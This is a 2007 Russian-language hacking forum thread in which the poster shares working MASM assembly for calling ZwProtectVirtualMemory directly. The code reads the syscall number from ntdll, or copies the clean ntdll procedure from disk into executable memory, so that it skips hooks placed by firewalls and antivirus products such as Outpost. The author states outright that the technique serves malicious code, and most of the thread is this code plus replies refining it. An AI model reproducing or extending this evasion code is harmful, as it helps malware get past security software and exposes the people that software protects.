PDA

Просмотр полной версии : Эмуляция VirtualProtect


0x0c0de
25.09.2007, 18:56
Итак.... Представим ситуацию. Есть фаер/антитварь, ставящее хуки на нужные зловредному коду функции. И все бы ничего...
Возьмем да и снимем поставленые хуки... а нет... на функции ZwProtectVirtualMemory тоже стоит перехват=\ что тогда? с утра сегодня пришла идея сэмулировать нужную функцию... мож кому-то будет интересно. Если не будет -тему дельнете. делов-то

Посидела немного за дизасмом VirtualProtectEx и ZwProtectVirtualMemory. Я их обе сэмулирую. Значит с первой проблем вообще не возникло. Просто проследила за содержанием стека, чтобы узнать где какой параметр. Далее... Далее вызов ntdll функции, на начале которой стоит наш воображаемый хук. Пять байт затерто. А нам надо узнать номер функции


7C90DE77 n>/$ B8 86000000 MOV EAX,86
7C90DE7C |. BA 0003FE7F MOV EDX,7FFE0300
7C90DE81 |. FF12 CALL DWORD PTR DS:[EDX]
7C90DE83 \. C2 0C00 RETN 0C
7C90DE86 90 NOP
7C90DE87 90 NOP
7C90DE88 90 NOP
7C90DE89 90 NOP
7C90DE8A 90 NOP
7C90DE8B 90 NOP
7C90DE8C n>/$ B8 87000000 MOV EAX,87
7C90DE91 |. BA 0003FE7F MOV EDX,7FFE0300
7C90DE96 |. FF12 CALL DWORD PTR DS:[EDX]
7C90DE98 \. C2 1800 RETN 18
7C90DE9B 90 NOP
7C90DE9C 90 NOP
7C90DE9D 90 NOP
7C90DE9E 90 NOP
7C90DE9F 90 NOP
7C90DEA0 90 NOP
7C90DEA1 n>/$ B8 88000000 MOV EAX,88
7C90DEA6 |. BA 0003FE7F MOV EDX,7FFE0300
7C90DEAB |. FF12 CALL DWORD PTR DS:[EDX]
7C90DEAD \. C2 1400 RETN 14


Мы видим, что номера функций идут строго по порядку. Это означает, что чтобы нам вычислить адрес ZwProtectVirtualMemory надо просто посмотреть номер предыдущей функции и прибавить 1 или последующей (но тогда надо вычитать 1). Второй вариант мне больше понравился.

а тот же аутпост (в пример привожу его - это модный пример) ставит хук так


7C90EA32 n> $- E9 71DE7393 JMP wl_hook.1004C8A8 ; это поясняет мои стова относительно пяти байт
7C90EA37 . BA 0003FE7F MOV EDX,7FFE0300
7C90EA3C . FF12 CALL DWORD PTR DS:[EDX]
7C90EA3E . C2 1400 RETN 14


Значит нам потребуется вычислить номер функции. Теперь подробнее. Ищем байт 0B8, забираем двойное слово- номер функции декрементируем, вписываем значение в наш код.... Потом ищем 0BA, поступаем так же. По поводу записи непосредственно в секцию кода. VirtualProtect тут вызывать тоже не надо. Я установила характеристики секции в 0E0000020H, поэтому все в порядке=)


.386
.model flat, stdcall
include kernel32.inc
include windows.inc
includelib kernel32.lib
.data
ntdl_ db "ntdll.dll",0
vprotect db "ZwProtectVirtualMemory",0
func_ dword ?
.const
.code

system_call proc
mov eax,0 ; сюда мы запишем номер функции
mov edx,0
call dword ptr [edx] ; KiFastSystemCall
retn 14h ; количество передаваемых параметров я знаю точно
system_call endp

emulator_ proc ; эмуляция VirtualProtectEx
local old_protect:dword
local size_c:dword
local address:dword
lea eax,old_protect
push eax
push 40h ; тип протекта запись-чтение-исполнение
mov size_c,10
lea eax,size_c
push eax
push func_ ; на ней же и протестим=)
pop address
lea eax,address
push eax
push -1 ; пишем в своем процессе, поэтому -1
call system_call
mov esi,func_
mov byte ptr[esi],8 ; проверяем на запись. ошибки нет=)
ret
emulator_ endp

Main:
invoke GetModuleHandleA,offset ntdl_
invoke GetProcAddress,eax,offset vprotect
test eax,eax
je ext_
mov func_,eax
add eax,4 ; пять байт мы смело пропускаем. тут четыре, да ниже inc - итого 5)
loo:
inc eax
cmp byte ptr [eax],0b8h ; начало инструкции mov eax,xxxx. для надежности можно проверять длину инструкции. должно быть 5 байт. в этом нам поможет
; дизассемблер длин, его прикрутить вообще не проблема
jnz loo
inc eax
mov edx,dword ptr[eax]
mov edi,offset system_call
dec edx
inc edi
mov dword ptr[edi],edx
add eax,5
add edi,5
mov edx,dword ptr[eax]
mov dword ptr[edi],edx
call emulator_
ext_:
invoke ExitProcess, NULL
end Main


Не забудьте установить характеристики секции кода данной проги в 0E0000020H!
Вообще наверняка есть способ лучше..

_Great_
25.09.2007, 22:05
Это всё канешн круто. Только нормальные АВ и фаеры ставят хуки в ядре в SSDT или сплайсингом Nt-вариантов родного апи.

gevara
25.09.2007, 22:19
Хм.. Зачем что-то изобретать? если нужно анхучить ntdll - читаем из файла оригиналиное содержимое функции да и затираем все хуки... Опять-же как можно изменить аттрибуты секции файла? разобрать PE заголовок, найти эту секцию и прописать новые аттрибуты? WFP сразу вернёт всё на место.
Да и грейт вообще-то прав. На моей памяти только аутпост СДТ не хучит.

P.S. А вообще молодец. Хорошее предложение. Только в реальности работать не будет...

Hellsp@wn
25.09.2007, 22:39
хм, мо-моему оутпост ничё не вякал и позволял норм анхукать =d
покрайней мере в предпоследней версии... а ваще норм, пускай способ будет =)

0x0c0de
26.09.2007, 07:07
Опять-же как можно изменить аттрибуты секции файла? разобрать PE заголовок, найти эту секцию и прописать новые аттрибуты? WFP сразу вернёт всё на место.
.

Неееее) Я ж не у ntdll меняю характеристики секции кода! (я об этом, канешн сначала думала, кстати на васме если мне память не изменяет был код отруба WFP). Да и в самом ntdll.dll не внесни никаких изменений - файл только для чтения. Я говорю про саму программу. Чтобы потом не было вопросов=) Просто я пишу непосредственно в секции кода, не установив права на запись, поэтому я предупредила, что характеристики секции это позволяют

я ж пишу в эту процедуру непосредственно


system_call proc
mov eax,0 ; сюда мы запишем номер функции
mov edx,0
call dword ptr [edx] ; KiFastSystemCall
retn 14h ; количество передаваемых параметров я знаю точно
system_call endp



хм, мо-моему оутпост ничё не вякал и позволял норм анхукать =d


Дааааа ) Поэтому я рассматриваю теоретическую возможность перехвата. Но в скором времени, учитывая то, что в этом сезоне модно убивать аутпост, может стать практической))))


Только в реальности работать не будет...


Отчего же? У мну все заработало))))))


читаем из файла оригиналиное содержимое функции да и затираем все хуки...


А ты что юзаешь для того, чтобы затереть хук? VirtualProtect. VirtualProtect вызывает VirtualProtectEx, а та в свою очередь ZwProtectVirtualMemory. А если на ней хук?) Перехват этой функции - это возможное решение разработчиков против антисплайсинга. Причем довольно вероятное.

gevara
27.09.2007, 22:21
А работать не будет вот почему:

NtPrivilegeCheck 0x005d 0x005d 0x005d 0x005d 0x0074 0x0074 0x0074 0x0074 0x0074 0x0086 0x0086 0x0086 0x008c 0x008c 0x00cc
NtPrivilegeObjectAuditAlarm 0x005f 0x005f 0x005f 0x005f 0x0076 0x0076 0x0076 0x0076 0x0076 0x0087 0x0087 0x0087 0x008d 0x008d 0x00cd
NtPrivilegedServiceAuditAlarm 0x005e 0x005e 0x005e 0x005e 0x0075 0x0075 0x0075 0x0075 0x0075 0x0088 0x0088 0x0088 0x008e 0x008e 0x00ce
NtPropagationComplete 0x0178
NtPropagationFailed 0x0179
NtProtectVirtualMemory 0x0060 0x0060 0x0060 0x0060 0x0077 0x0077 0x0077 0x0077 0x0077 0x0089 0x0089 0x0089 0x008f 0x008f 0x00cf
NtPullTransaction 0x0176
NtPulseEvent 0x0061 0x0061 0x0061 0x0061 0x0078 0x0078 0x0078 0x0078 0x0078 0x008a 0x008a 0x008a 0x0090 0x0090 0x00d0
NtQueryAttributesFile 0x0063 0x0063 0x0063 0x0063 0x007a 0x007a 0x007a 0x007a 0x007a 0x008b 0x008b 0x008b 0x0091 0x0091 0x00d1

В разных версиях осей за и перед NtProtectVirtualMemory идут разные функции.

0x0c0de
28.09.2007, 15:08
Работать не будет при неск. условиях.
1. Функции идут не по порядку
2. имеют не такой вид


MOV EAX,xxxx
MOV EDX,yyyy
CALL DWORD PTR DS:[EDX]
RETN zzz


То есть в 2k работать не будет. Я проверяла на winxp sp2.
А то, что функции разные, так это вообще не имеет значения. лишь бы по порядку шли (или просто ты не так выразился).
Я ж кусок кода в начале приводила из ntdll. Хотя так-то это все ненадежно. Лучше из файла читать номер функции. седня вечером накатаю код... так канешн, будет правильней.

0x0c0de
28.09.2007, 15:31
Ge(X)oR про конкретно эмуляцию функций я не слышала=\ Если говоришь, что было, так аргументируй (ссылки и тд)... а "что-то подобное" мне ни о чем не говорит)

0x0c0de
29.09.2007, 19:33
Переписала код.... в общем саму функцию эмуляции и получение номера функции.


emulator_vir_protect proc hProcess:dword,lpAddress:dword,dwSize:dword,flNewP rotect:dword,lpflOldProtect:dword
push lpflOldProtect
push flNewProtect
lea eax,dwSize
push eax
lea eax,lpAddress
push eax
push hProcess
call system_call
ret
emulator_vir_protect endp


Так теперь выглядит эмуляция VirtualProtectEx )

Вызывать так


invoke emulator_vir_protect,-1,func_,10,40h,addr oldprot_

То есть так же как обычный VirtualProtect


GetNumberNtdllFunction proc address_function:dword,imagebase:dword
; в eax возвращается номер функции, если произошла ошибка в eax 0
local hFile:dword
local dwSize:dword
local hMap:dword
local Base:dword
local rva:dword
mov edi,address_function
sub edi,imagebase
mov rva,edi
invoke GetSystemDirectory,offset buf_,255
test eax,eax
je ret_
invoke lstrcat,offset buf_,offset sl
invoke lstrcat,offset buf_,offset ntdl_
invoke CreateFile,offset buf_,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTI NG,FILE_ATTRIBUTE_NORMAL, NULL
mov hFile,eax
inc eax
jz ret_
invoke GetFileSize,hFile, NULL
test eax,eax
jz ret_
mov dwSize,eax
invoke CreateFileMapping,hFile, NULL,1000002h, 0, dwSize, NULL
mov hMap,eax
invoke MapViewOfFile,hMap, FILE_MAP_READ, 0, 0, dwSize
mov Base,eax
test eax,eax
je ret_
add eax,rva
inc eax
mov edi,dword ptr[eax]
mov rva,edi
add eax,5
push dword ptr [eax]
invoke UnmapViewOfFile,Base
invoke CloseHandle,hMap
invoke CloseHandle,hFile
mov eax,rva
pop edx
jmp rt
ret_:
sub eax,eax
sub edx,edx
rt:
ret
GetNumberNtdllFunction endp


А вот процедура получения номера функции....

Пример вызова


invoke GetModuleHandleA,offset ntdl_
mov ntdllbase,eax
invoke GetProcAddress,eax,offset vprotect
test eax,eax
je ext_
mov func_,eax
invoke GetNumberNtdllFunction, func_,ntdllbase


Теперь имеет значение только формат


MOV EAX,xxxx
MOV EDX,yyyy
CALL DWORD PTR DS:[EDX]
RETN zzz

0x0c0de
30.09.2007, 15:46
Теперь и под 2000 работает и под XP, все-таки доделала.... Суть в том, что вся процедура копируется в выделенную память. Конец процедуры определяется по опкоду рет xxxx. Написала для этого функцию. В качестве первого ее аргумента принимается адрес функции, в качестве второго - адрес загрузки библиотеки ntdll. Ясное дело, что без нормального дизассемблера длин тут не обойтись. Поэтому я встроила VirXasm32 (на васме можно взять), вы же можете другой встроить или свой написать. Лишь бы длина инструкции возвращалась в eax. Теперь не надо никаких характеристик секций менять, как раньше. все просто и удобно)))

Процедуре необходимо


.data
ntdl_ db "ntdll.dll",0
buf_ db 300 dup(?)
sl db "\",0


Сам код

procedurecopy proc address_function:dword,imagebase:dword
; в eax возвращается адрес украденного кода, в edx - его размер. Если ошибка - регистры пусты
; освободить выделенную память вы должны сами! С помощью VirtualFree
local hFile:dword
local dwSize:dword
local hMap:dword
local Base:dword
local rva:dword
local codesize:dword
mov edi,address_function
sub edi,imagebase
mov rva,edi
invoke GetSystemDirectory,offset buf_,255 ; системная директория
test eax,eax
je ret_
invoke lstrcat,offset buf_,offset sl ; формируем путь к ntdll
invoke lstrcat,offset buf_,offset ntdl_
invoke CreateFile,offset buf_,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTI NG,FILE_ATTRIBUTE_NORMAL, NULL
mov hFile,eax
inc eax
jz ret_
invoke GetFileSize,hFile, NULL
test eax,eax
jz ret_
mov dwSize,eax
invoke CreateFileMapping,hFile, NULL,1000002h, 0, dwSize, NULL
mov hMap,eax
invoke MapViewOfFile,hMap, FILE_MAP_READ, 0, 0, dwSize
mov Base,eax
test eax,eax
je ret_
add eax,rva
mov rva,eax
mov esi,eax
mov eax,codesize ; это на байт короче, чем mov codesize,0
xor codesize,eax
disasm:
call VirXasm32 ; дизассемблер длин. любой вам понравившийся, можно даж самопальный ;-)
cmp al,3 ; длина инструкции три байта? проверяем не ret xxxx?
jz pr_ ; проверяем на рет
add codesize,eax ; если длина другая - идем дизасмить дальше, прибавляем длину к общей длине кода
add esi,eax ; к esi добавляем длину инструкции
jmp disasm
pr_:
cmp byte ptr[esi],0c2h ; начало инструкции ret xxxx
jnz disasm_ ; идем дальше
jmp end_dasm_
disasm_:
add esi,eax
jmp disasm
end_dasm_:
add codesize,eax
inc codesize
invoke VirtualAlloc,0,codesize,MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE
test eax,eax
je ret_
mov esi,rva
mov edi,eax
mov rva,eax
mov ecx,codesize
rep movsb
invoke UnmapViewOfFile,Base
invoke CloseHandle,hMap
invoke CloseHandle,hFile
mov eax,rva
mov edx,codesize
jmp rt
ret_:
sub eax,eax ; если ошибка, то обнуляем
sub edx,edx
rt:
ret
procedurecopy endp

emulator_vir_protect proc hProcess:dword,lpAddress:dword,dwSize:dword,flNewP rotect:dword,lpflOldProtect:dword,addr_native:dwor d
; теперь добавился еще один параметр. адрес, по которому располагается native функция. то, что вернула в eax procedurecopy
push lpflOldProtect
push flNewProtect
lea eax,dwSize
push eax
lea eax,lpAddress
push eax
push hProcess
call addr_native
ret
emulator_vir_protect endp